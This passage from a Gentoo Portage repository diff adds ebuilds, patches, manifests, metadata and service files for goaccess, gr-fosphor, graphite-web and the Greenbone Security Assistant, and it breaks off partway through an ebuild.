+++ b/net-analyzer/goaccess/goaccess-0.9.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit eutils
+
+DESCRIPTION="A real-time web log analyzer and interactive viewer that runs in a terminal"
+HOMEPAGE="http://goaccess.io"
+SRC_URI="http://tar.goaccess.io/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux"
+
+IUSE="btree debug geoip tokyocabinet unicode"
+
+REQUIRED_USE="btree? ( tokyocabinet )"
+
+RDEPEND="
+ sys-libs/ncurses[unicode?]
+ geoip? ( dev-libs/geoip )
+ !tokyocabinet? ( dev-libs/glib:2 )
+ tokyocabinet? (
+ dev-db/tokyocabinet
+ btree? (
+ app-arch/bzip2
+ sys-libs/zlib
+ )
+ )
+"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch_user
+
+ # Fix path to GeoIP bases in config
+ sed -e s':/usr/local:/usr:' -i config/goaccess.conf || die
+}
+
+src_configure() {
+ econf \
+ $(use_enable debug) \
+ $(use_enable geoip) \
+ $(use_enable unicode utf8) \
+ $(use_enable tokyocabinet tcb) \
+ $(use_enable btree bzip) \
+ $(use_enable btree zlib) \
+ $(usex tokyocabinet "--enable-tcb=$(usex btree btree memhash)" '')
+}
diff --git a/net-analyzer/goaccess/metadata.xml b/net-analyzer/goaccess/metadata.xml
new file mode 100644
index 000000000000..4f26acaf061a
--- /dev/null
+++ b/net-analyzer/goaccess/metadata.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>spiderx@spiderx.dp.ua</email>
+ <name>Vladimir Pavljuchenkov</name>
+ <description>Proxy maintainer</description>
+ </maintainer>
+ <longdescription>GoAccess is an open source real-time web log analyzer and
+interactive viewer that runs in a terminal in *nix systems. It provides fast and valuable
+HTTP statistics for system administrators that require a visual server report on the fly.
+ </longdescription>
+ <use>
+ <flag name="btree">Enable Tokyo Cabinet's on-disk B+ Tree database backend</flag>
+ <flag name="memhash">Enable Tokyo Cabinet's on-memory hash database backend</flag>
+ <flag name="tokyocabinet">Enable Tokyo Cabinet's on-memory hash database backend</flag>
+ </use>
+ <upstream>
+ <changelog>https://github.com/allinurl/goaccess/blob/master/ChangeLog</changelog>
+ <doc>http://goaccess.io/faq</doc>
+ <bugs-to>mailto:goaccess@prosoftcorp.com</bugs-to>
+ </upstream>
+</pkgmetadata>
+
diff --git a/net-analyzer/gr-fosphor/gr-fosphor-9999.ebuild b/net-analyzer/gr-fosphor/gr-fosphor-9999.ebuild
new file mode 100644
index 000000000000..42cf01f5b442
--- /dev/null
+++ b/net-analyzer/gr-fosphor/gr-fosphor-9999.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+
+inherit cmake-utils python-single-r1
+
+DESCRIPTION="gnuradio fosphor block (GPU spectrum display)"
+HOMEPAGE="https://sdr.osmocom.org/trac/wiki/fosphor"
+
+if [[ ${PV} == 9999* ]]; then
+ inherit git-2
+ SRC_URI=""
+ EGIT_REPO_URI="git://git.osmocom.org/${PN}.git"
+ KEYWORDS=""
+else
+ SRC_URI="mirror://gentoo/${P}.tar.xz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+REQUIRED_USE="${PYTHON_REQUIRED_USE}"
+
+LICENSE="GPL-3+"
+SLOT="0"
+IUSE="+glfw qt4 wxwidgets"
+
+RDEPEND="qt4? (
+ dev-qt/qtcore:4
+ dev-qt/qtgui:4
+ dev-qt/qtopengl:4
+ )
+ >=net-wireless/gnuradio-3.7_rc:0=[qt4?,wxwidgets?,${PYTHON_USEDEP}]
+ media-libs/freetype
+ dev-libs/boost:=
+ glfw? ( >=media-libs/glfw-3 )
+ virtual/opencl
+ virtual/opengl
+ ${PYTHON_DEPS}
+"
+DEPEND="${RDEPEND}
+ dev-lang/swig:0
+ dev-util/cppunit
+"
+
+src_prepare() {
+ python_fix_shebang python/wx_sink_c.py
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ # tries to run OpenCL test program, but failing doesn't hurt
+ addpredict /dev/dri
+
+ local mycmakeargs="
+ $(cmake-utils_use_enable glfw GLFW)
+ $(cmake-utils_use_enable qt4 QT)
+ $(cmake-utils_use_enable wxwidgets WX)
+ -DENABLE_PYTHON=ON
+ "
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/gr-fosphor/metadata.xml b/net-analyzer/gr-fosphor/metadata.xml
new file mode 100644
index 000000000000..192bccb822ca
--- /dev/null
+++ b/net-analyzer/gr-fosphor/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>radio</herd>
+ <use>
+ <flag name='glfw'>enable GLFW based interface</flag>
+ </use>
+</pkgmetadata>
+
diff --git a/net-analyzer/graphite-web/Manifest b/net-analyzer/graphite-web/Manifest
new file mode 100644
index 000000000000..e904dbc77447
--- /dev/null
+++ b/net-analyzer/graphite-web/Manifest
@@ -0,0 +1,2 @@
+DIST graphite-web-0.9.13-share.png 325 SHA256 cbd268fc44900f6f25a79000a799a9653eb170f6cb1450322a748edf1532680d SHA512 19dc9139e97a99bf06fded2958bc52bc856fa11d0dc50f57e6c54214373795534cb74883ab5da7a05e2ddb69a2870d3b02dcf2ab0628bdf289f1ffd925e044e2 WHIRLPOOL 93f49283e42b35464e2b51d765e2bab23884506734a48d4e4aec9744ceaf649c6d342f37b75aeba030b38e4f4ae4030bb7bfbdfc771928b69b70ea7aae9b5a81
+DIST graphite-web-0.9.13.tar.gz 2182781 SHA256 745ee8cd4c16735df1f7c0a7211dbfdd1234678262a1453aef14d04438260851 SHA512 5e2cc84ec57e1fa0ecff8c9671d8753655a8ce2c07ce2f446451ceaad7679b0cefe932de45315be360b8f13eb25cd25ef179814f340c2c42b0e7048a3d4f4a96 WHIRLPOOL d13f111aaaadb91c5da62a1fd62d36e623501822e5faf3cdea78a7b165a4c111717b2d8d007af29e9bd54e1f5f0b5b648d10908b4721360ae00229aca145623f
diff --git a/net-analyzer/graphite-web/files/graphite-web-0.9.13-fhs-paths.patch b/net-analyzer/graphite-web/files/graphite-web-0.9.13-fhs-paths.patch
new file mode 100644
index 000000000000..ecfce96e0536
--- /dev/null
+++ b/net-analyzer/graphite-web/files/graphite-web-0.9.13-fhs-paths.patch
@@ -0,0 +1,76 @@
+Install FHS-style paths
+
+--- graphite-web-0.9.13/conf/graphite.wsgi.example
++++ graphite-web-0.9.13/conf/graphite.wsgi.example
+@@ -1,5 +1,5 @@
+ import os, sys
+-sys.path.append('/opt/graphite/webapp')
++sys.path.append('@GENTOO_PORTAGE_EPREFIX@/usr/share/graphite-web/webapp')
+ os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'graphite.settings')
+
+ import django
+--- graphite-web-0.9.13/setup.py
++++ graphite-web-0.9.13/setup.py
+@@ -59,7 +59,6 @@
+ ],
+ package_data={'graphite' :
+ ['templates/*', 'local_settings.py.example']},
+- scripts=glob('bin/*'),
+- data_files=webapp_content.items() + storage_dirs + conf_files + examples,
++ data_files=webapp_content.items(),
+ **setup_kwargs
+ )
+--- graphite-web-0.9.13/webapp/graphite/local_settings.py.example
++++ graphite-web-0.9.13/webapp/graphite/local_settings.py.example
+@@ -54,14 +54,14 @@
+ #####################################
+ # Change only GRAPHITE_ROOT if your install is merely shifted from /opt/graphite
+ # to somewhere else
+-#GRAPHITE_ROOT = '/opt/graphite'
++GRAPHITE_ROOT = '@GENTOO_PORTAGE_EPREFIX@/usr/share/graphite-web'
+
+ # Most installs done outside of a separate tree such as /opt/graphite will only
+ # need to change these three settings. Note that the default settings for each
+ # of these is relative to GRAPHITE_ROOT
+-#CONF_DIR = '/opt/graphite/conf'
+-#STORAGE_DIR = '/opt/graphite/storage'
+-#CONTENT_DIR = '/opt/graphite/webapp/content'
++CONF_DIR = '@GENTOO_PORTAGE_EPREFIX@/etc/graphite-web'
++STORAGE_DIR = '@GENTOO_PORTAGE_EPREFIX@/var/lib/carbon'
++CONTENT_DIR = '@GENTOO_PORTAGE_EPREFIX@/usr/share/graphite-web/webapp/content'
+
+ # To further or fully customize the paths, modify the following. Note that the
+ # default settings for each of these are relative to CONF_DIR and STORAGE_DIR
+@@ -69,6 +69,8 @@
+ ## Webapp config files
+ #DASHBOARD_CONF = '/opt/graphite/conf/dashboard.conf'
+ #GRAPHTEMPLATES_CONF = '/opt/graphite/conf/graphTemplates.conf'
++DASHBOARD_CONF = '@GENTOO_PORTAGE_EPREFIX@/etc/graphite-web/dashboard.conf'
++GRAPHTEMPLATES_CONF = '@GENTOO_PORTAGE_EPREFIX@/etc/graphite-web/graphTemplates.conf'
+
+ ## Data directories
+ # NOTE: If any directory is unreadable in DATA_DIRS it will break metric browsing
+@@ -77,7 +79,11 @@
+ #DATA_DIRS = [WHISPER_DIR, RRD_DIR] # Default: set from the above variables
+ #LOG_DIR = '/opt/graphite/storage/log/webapp'
+ #INDEX_FILE = '/opt/graphite/storage/index' # Search index file
+-
++WHISPER_DIR = '@GENTOO_PORTAGE_EPREFIX@/var/lib/carbon/whisper'
++RRD_DIR = '@GENTOO_PORTAGE_EPREFIX@/var/lib/carbon/rrd'
++DATA_DIRS = [WHISPER_DIR, RRD_DIR] # Default: set from the above variables
++LOG_DIR = '@GENTOO_PORTAGE_EPREFIX@/var/log/graphite-web/'
++INDEX_FILE = '@GENTOO_PORTAGE_EPREFIX@/var/lib/graphite-web/index' # Search index file
+
+ #####################################
+ # Email Configuration #
+--- graphite-web-0.9.13/webapp/graphite/manage.py
++++ graphite-web-0.9.13/webapp/graphite/manage.py
+@@ -6,7 +6,7 @@
+
+
+ if __name__ == "__main__":
+- os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings")
++ os.environ.setdefault("DJANGO_SETTINGS_MODULE", "graphite.settings")
+
+ from django.core.management import execute_from_command_line
+
diff --git a/net-analyzer/graphite-web/files/graphite-web-0.9.13-system-libs.patch b/net-analyzer/graphite-web/files/graphite-web-0.9.13-system-libs.patch
new file mode 100644
index 000000000000..be5bbb9ab761
--- /dev/null
+++ b/net-analyzer/graphite-web/files/graphite-web-0.9.13-system-libs.patch
@@ -0,0 +1,100 @@
+From 1ca73dd4ec442d6ada765e5375efee84bbc7522b Mon Sep 17 00:00:00 2001
+From: Jamie Nguyen &lt;j@jamielinux.com&gt;
+Date: Mon, 29 Sep 2014 09:53:22 +0100
+Subject: [PATCH] Force use of system libraries
+
+---
+ setup.py | 2 --
+ webapp/graphite/cli/parser.py | 2 +-
+ webapp/graphite/render/attime.py | 5 +----
+ webapp/graphite/render/glyph.py | 5 +----
+ webapp/graphite/render/grammar.py | 2 +-
+ webapp/graphite/render/views.py | 5 +----
+ 6 files changed, 5 insertions(+), 16 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 4dc0ce0..1b910d1 100644
+--- a/setup.py
++++ b/setup.py
+@@ -54,8 +54,6 @@ setup(
+ 'graphite.graphlot',
+ 'graphite.events',
+ 'graphite.version',
+- 'graphite.thirdparty',
+- 'graphite.thirdparty.pytz',
+ ],
+ package_data={'graphite' :
+ ['templates/*', 'local_settings.py.example']},
+diff --git a/webapp/graphite/cli/parser.py b/webapp/graphite/cli/parser.py
+index ec1a435..7d7d48d 100644
+--- a/webapp/graphite/cli/parser.py
++++ b/webapp/graphite/cli/parser.py
+@@ -12,7 +12,7 @@ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License."""
+
+-from graphite.thirdparty.pyparsing import *
++from pyparsing import *
+
+ grammar = Forward()
+
+diff --git a/webapp/graphite/render/attime.py b/webapp/graphite/render/attime.py
+index 55a644c..8adde3f 100644
+--- a/webapp/graphite/render/attime.py
++++ b/webapp/graphite/render/attime.py
+@@ -16,10 +16,7 @@ from datetime import datetime,timedelta
+ from time import daylight
+ from django.conf import settings
+
+-try: # See if there is a system installation of pytz first
+- import pytz
+-except ImportError: # Otherwise we fall back to Graphite's bundled version
+- from graphite.thirdparty import pytz
++import pytz
+
+
+ months = ['jan','feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec']
+diff --git a/webapp/graphite/render/glyph.py b/webapp/graphite/render/glyph.py
+index a2cc893..c6f31f1 100644
+--- a/webapp/graphite/render/glyph.py
++++ b/webapp/graphite/render/glyph.py
+@@ -22,10 +22,7 @@ from graphite.render.datalib import TimeSeries
+ from graphite.util import json
+
+
+-try: # See if there is a system installation of pytz first
+- import pytz
+-except ImportError: # Otherwise we fall back to Graphite's bundled version
+- from graphite.thirdparty import pytz
++import pytz
+
+ INFINITY = float('inf')
+
+diff --git a/webapp/graphite/render/grammar.py b/webapp/graphite/render/grammar.py
+index 07e3e4b..2b0ba41 100644
+--- a/webapp/graphite/render/grammar.py
++++ b/webapp/graphite/render/grammar.py
+@@ -1,4 +1,4 @@
+-from graphite.thirdparty.pyparsing import *
++from pyparsing import *
+
+ ParserElement.enablePackrat()
+ grammar = Forward()
+diff --git a/webapp/graphite/render/views.py b/webapp/graphite/render/views.py
+index 186232e..cd747a7 100644
+--- a/webapp/graphite/render/views.py
++++ b/webapp/graphite/render/views.py
+@@ -25,10 +25,7 @@ try:
+ except ImportError:
+ import pickle
+
+-try: # See if there is a system installation of pytz first
+- import pytz
+-except ImportError: # Otherwise we fall back to Graphite's bundled version
+- from graphite.thirdparty import pytz
++import pytz
+
+ from graphite.util import getProfileByUsername, json, unpickle
+ from graphite.remote_storage import HTTPConnectionWithTimeout
+--
+1.9.3
diff --git a/net-analyzer/graphite-web/graphite-web-0.9.13-r1.ebuild b/net-analyzer/graphite-web/graphite-web-0.9.13-r1.ebuild
new file mode 100644
index 000000000000..51720e934971
--- /dev/null
+++ b/net-analyzer/graphite-web/graphite-web-0.9.13-r1.ebuild
@@ -0,0 +1,99 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+
+inherit distutils-r1 python-utils-r1 prefix
+
+DESCRIPTION="Enterprise scalable realtime graphing"
+HOMEPAGE="http://graphite.readthedocs.org/"
+SRC_URI="mirror://pypi/${PN:0:1}/${PN}/${P}.tar.gz
+ https://raw.githubusercontent.com/graphite-project/graphite-web/522d84fed687bd946878e48d85982d59f7bd1267/webapp/content/img/share.png -> ${P}-share.png"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ldap mysql memcached +sqlite"
+
+DEPEND=""
+RDEPEND="dev-lang/python[sqlite?]
+ || ( >=dev-python/django-1.4[sqlite?,mysql?,${PYTHON_USEDEP}]
+ ( >=dev-python/django-1.6[sqlite?,${PYTHON_USEDEP}]
+ mysql? ( || ( dev-python/mysql-python dev-python/mysqlclient ) ) ) )
+ >=dev-python/twisted-core-10.0[${PYTHON_USEDEP}]
+ >=dev-python/django-tagging-0.3.1[${PYTHON_USEDEP}]
+ dev-python/pycairo[${PYTHON_USEDEP}]
+ dev-python/zope-interface[${PYTHON_USEDEP}]
+ dev-python/pytz[${PYTHON_USEDEP}]
+ dev-python/pyparsing[${PYTHON_USEDEP}]
+ dev-python/txAMQP[${PYTHON_USEDEP}]
+ dev-python/carbon[${PYTHON_USEDEP}]
+ dev-python/whisper[${PYTHON_USEDEP}]
+ media-libs/fontconfig
+ memcached? ( dev-python/python-memcached[${PYTHON_USEDEP}] )
+ ldap? ( dev-python/python-ldap[${PYTHON_USEDEP}] )"
+
+PATCHES=(
+ # Do not install the configuration and data files. We install them
+ # somewhere sensible by hand.
+ "${FILESDIR}"/${P}-fhs-paths.patch
+ "${FILESDIR}"/${P}-system-libs.patch
+)
+
+EXAMPLES=(
+ examples/example-graphite-vhost.conf
+)
+
+src_prepare() {
+ # use FHS-style paths
+ rm setup.cfg || die
+ # make sure we don't use bundled stuff
+ rm -Rf webapp/graphite/thirdparty
+ distutils-r1_src_prepare
+ eprefixify \
+ conf/graphite.wsgi.example \
+ webapp/graphite/local_settings.py.example
+}
+
+python_install() {
+ distutils-r1_python_install \
+ --install-data="${EPREFIX}"/usr/share/${PN}
+
+ # make manage.py available from an easier location/name
+ dodir /usr/bin
+ mv "${D}"/$(python_get_sitedir)/graphite/manage.py \
+ "${ED}"/usr/bin/${PN}-manage || die
+ chmod 0755 "${ED}"/usr/bin/${PN}-manage || die
+ python_fix_shebang "${ED}"/usr/bin/${PN}-manage
+
+ # shortener image isn't included for some reason
+ cp "${DISTDIR}"/"${P}"-share.png "${ED}"/usr/share/${PN}/webapp/content/img/
+
+ insinto /etc/${PN}
+ newins webapp/graphite/local_settings.py.example local_settings.py
+ pushd "${D}"/$(python_get_sitedir)/graphite > /dev/null || die
+ ln -s ../../../../../etc/${PN}/local_settings.py local_settings.py
+ popd > /dev/null || die
+ doins conf/dashboard.conf.example
+ doins conf/graphite.wsgi.example
+}
+
+pkg_config() {
+ "${ROOT}"/usr/bin/${PN}-manage syncdb --noinput
+ local idx=$(grep 'INDEX_FILE =' "${EROOT}"/etc/local_settings.py 2>/dev/null)
+ if [[ -n ${idx} ]] ; then
+ idx=${idx##*=}
+ idx=$(echo ${idx})
+ eval "idx=${idx}"
+ touch "${ROOT}"/"${idx}"/index
+ fi
+}
+
+pkg_postinst() {
+ einfo "You will need to ${PN} it with Apache (mod_wsgi) or nginx (uwsgi)."
+ einfo "Don't forget to edit local_settings.py in ${EPREFIX}/etc/${PN}"
+ einfo "See http://graphite.readthedocs.org/en/latest/config-local-settings.html"
+ einfo "Run emerge --config =${PN}-${PVR} if this is a fresh install."
+}
diff --git a/net-analyzer/graphite-web/metadata.xml b/net-analyzer/graphite-web/metadata.xml
new file mode 100644
index 000000000000..92e7f9027c11
--- /dev/null
+++ b/net-analyzer/graphite-web/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>grobian@gentoo.org</email>
+ <name>Fabian Groffen</name>
+ </maintainer>
+ <use>
+ <flag name="memcached">Enable memcached support</flag>
+ </use>
+ <upstream>
+ <remote-id type="pypi">graphite-web</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/greenbone-security-assistant/Manifest b/net-analyzer/greenbone-security-assistant/Manifest
new file mode 100644
index 000000000000..d774c3601770
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/Manifest
@@ -0,0 +1,5 @@
+DIST greenbone-security-assistant-5.0.7.tar.gz 1052493 SHA256 11a27f7b54e8fa8f546d0757c57664d1ec094a4a4f040ac1ddb7360a80f17732 SHA512 c3c0a0b2bb3dd011d3599ca081d24d1eb6be2808e4eded04b4e2996633a8ddd3ad851549e4f0c35c27500db2958bbbe69d9868855e215f977a1fbae0931d063a WHIRLPOOL c3a5bd985b2c378ae71a695ba43c48df180bf4d6d7acc3b3907e3de200a2433c91e61f459e8010791816011c69a30a659526009d48d9e413cde3219551a6217c
+DIST greenbone-security-assistant-5.0.8.tar.gz 1053542 SHA256 d718e74413fca6a632badf8e1f46fbc5dc6895f1006c2dad1c87676b32d3fa16 SHA512 2acabedebdc13076861a172b9eb63843dd5c2c97764992cd429ce17fe53022058e3c82d6eb6fcc47416b0f3545a140a4c4528016ff1d63941a77223f10768413 WHIRLPOOL ad58c95ae74f228e99696100317865b1c9fcfe929217789ba6090e5226d2769c799b8c33c23fb4d8cc63b4332bd90ae605f2c221d9a86466c55271b821007b0b
+DIST greenbone-security-assistant-6.0.3.tar.gz 1219593 SHA256 731f490186f917dcbacc52157e2906e66be69a20c6e69dc179d23b828413c0f3 SHA512 fde8edc5c925040f5713f257939882a9a682ea0378106f61bdd62ae3e81cc2a8e2be57f0fb7449aec5b80680e22b7d58a512f7e88dc332d206297e38cd7c18e2 WHIRLPOOL d5cb2a89a802df05a130a026fb4feb30b7ba09c7bad7e071684035b275c4a8c289f599ee9eef3f8c9e467d2ecf2044dec2b19212da4c983bc4183ee3eec018a4
+DIST greenbone-security-assistant-6.0.4.tar.gz 1504792 SHA256 94e9bfe4e109b5c5112974a38c077e41f28fc349237be99d969da34935151d0f SHA512 1f9f04eceb88d703a43a727dffc31077a5a6272f62075e62d63f63064e87bb2f9ac0a65b8097158953d2bb06e580b6fe3c74a672a7a1193da908fad4dd008c1e WHIRLPOOL 2cf4dbba53e77e086d7c5668dcb1b5ff529fbf89a56ecfaf2188db5a5cc76ca226bd008b0b59f5f5c69ca8869f60f85087c92bf9290708c26f8656fbaccbfc4d
+DIST greenbone-security-assistant-6.0.5.tar.gz 1464649 SHA256 7ef5f5a1963401cdd03a048e39408e319338e3e31cb2e830d759543f372c8417 SHA512 4b11d79bf4366c93d093297fcf662655c0fe8bfc404350250e94bc009a014de3387334e9bf64dc521007185733ff80799ae1cd895a4c82a169222778d83445cf WHIRLPOOL 86c6dd86149ad28e675b53fde9df4aa9f05476486e13a74bf667e58cd1c7cad146ffa7dded5d5076d4a07251a3fb2da166a37938cdd1138d318192f1bcf547ed
diff --git a/net-analyzer/greenbone-security-assistant/files/greenbone-security-assistant-5.0.3-run.patch b/net-analyzer/greenbone-security-assistant/files/greenbone-security-assistant-5.0.3-run.patch
new file mode 100644
index 000000000000..ec5ee92fd73b
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/greenbone-security-assistant-5.0.3-run.patch
@@ -0,0 +1,16 @@
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 67cf344..c15f785 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -272,7 +272,7 @@ endif (NOT DATADIR)
+
+ set (OPENVAS_STATE_DIR "${LOCALSTATEDIR}/lib/openvas")
+ set (OPENVAS_LOG_DIR "${LOCALSTATEDIR}/log/openvas")
+-set (GSAD_PID_DIR "${LOCALSTATEDIR}/run")
++set (GSAD_PID_DIR "/run")
+ set (GSA_DATA_DIR "${DATADIR}/openvas/gsa")
+
+ # TODO: Eventually use own certificates
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad b/net-analyzer/greenbone-security-assistant/files/gsad
new file mode 100755
index 000000000000..db56dbc89224
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad
@@ -0,0 +1,23 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting Greenbone Security Assistant Daemon"
+ start-stop-daemon --start --name gsad \
+ --exec /usr/sbin/gsad \
+ --pidfile /var/run/gsad.pid
+ eend $?
+}
+
+stop() {
+ ebegin "Stop openvassd"
+ start-stop-daemon --stop --name gsad \
+ --pidfile /var/run/gsad.pid
+ eend $?
+}
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad-daemon.conf b/net-analyzer/greenbone-security-assistant/files/gsad-daemon.conf
new file mode 100644
index 000000000000..0de530635122
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad-daemon.conf
@@ -0,0 +1,14 @@
+#Listen on given address - by default assistant listens on all addresses
+# ASSISTANT_LISTEN=--listen=127.0.0.1
+
+#Listen on given port - by default 9391
+#ASSISTANT_PORT=--port=9392
+
+#Contact manager on given address
+#MANAGER_LISTEN=--mlisten=127.0.0.1
+
+#Manager listens on given port - by default 9390
+#MANAGER_PORT=--mport=9390
+
+# Additional arguments
+# ASSISTANT_EXTRA_ARGS=""
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad.init b/net-analyzer/greenbone-security-assistant/files/gsad.init
new file mode 100644
index 000000000000..27690b2c1782
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad.init
@@ -0,0 +1,14 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+name="Greenbone Security Assistant Daemon"
+command="/usr/sbin/gsad"
+command_args="${ASSISTANT_LISTEN} ${ASSISTANT_PORT} ${MANAGER_LISTEN} ${MANAGER_PORT} ${ASSISTANT_EXTRA_ARGS}"
+pidfile="/run/gsad.pid"
+
+depend() {
+ after bootmisc
+ need localmount net openvasmd
+}
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad.logrotate b/net-analyzer/greenbone-security-assistant/files/gsad.logrotate
new file mode 100644
index 000000000000..f0948cbea1f5
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad.logrotate
@@ -0,0 +1,11 @@
+# logrotate for openvas
+/var/log/openvas/gsad.log {
+ rotate 4
+ weekly
+ compress
+ delaycompress
+ missingok
+ postrotate
+ /bin/kill -HUP `pidof gsad`
+ endscript
+}
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad.service b/net-analyzer/greenbone-security-assistant/files/gsad.service
new file mode 100644
index 000000000000..8825f52f0949
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=Greenbone Security Assistant Daemon
+After=network.target
+Before=openvasmd.service
+
+[Service]
+EnvironmentFile=-/etc/openvas/gsad-daemon.conf
+ExecStart=/usr/sbin/gsad -f ${ASSISTANT_LISTEN} ${ASSISTANT_PORT} ${MANAGER_LISTEN} ${MANAGER_PORT} ${ASSISTANT_EXTRA_ARGS}
+Restart=always
+RestartSec=1
+User=root
+Group=root
+TimeoutSec=1200
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/greenbone-security-assistant/files/gsad.tmpfiles.d b/net-analyzer/greenbone-security-assistant/files/gsad.tmpfiles.d
new file mode 100644
index 000000000000..18e820caec1b
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/files/gsad.tmpfiles.d
@@ -0,0 +1 @@
+d /var/cache/openvassd 0775
diff --git a/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.7.ebuild b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.7.ebuild
new file mode 100644
index 000000000000..76f7b0edc8e6
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.7.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=gsad
+
+DL_ID=2039
+
+DESCRIPTION="Greenbone Security Assistant for openvas"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ dev-libs/libxslt
+ net-libs/libmicrohttpd[messages]"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.8.ebuild b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.8.ebuild
new file mode 100644
index 000000000000..cf08c1e117b9
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.8.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=gsad
+
+DL_ID=2109
+
+DESCRIPTION="Greenbone Security Assistant for openvas"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ dev-libs/libxslt
+ net-libs/libmicrohttpd[messages]"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
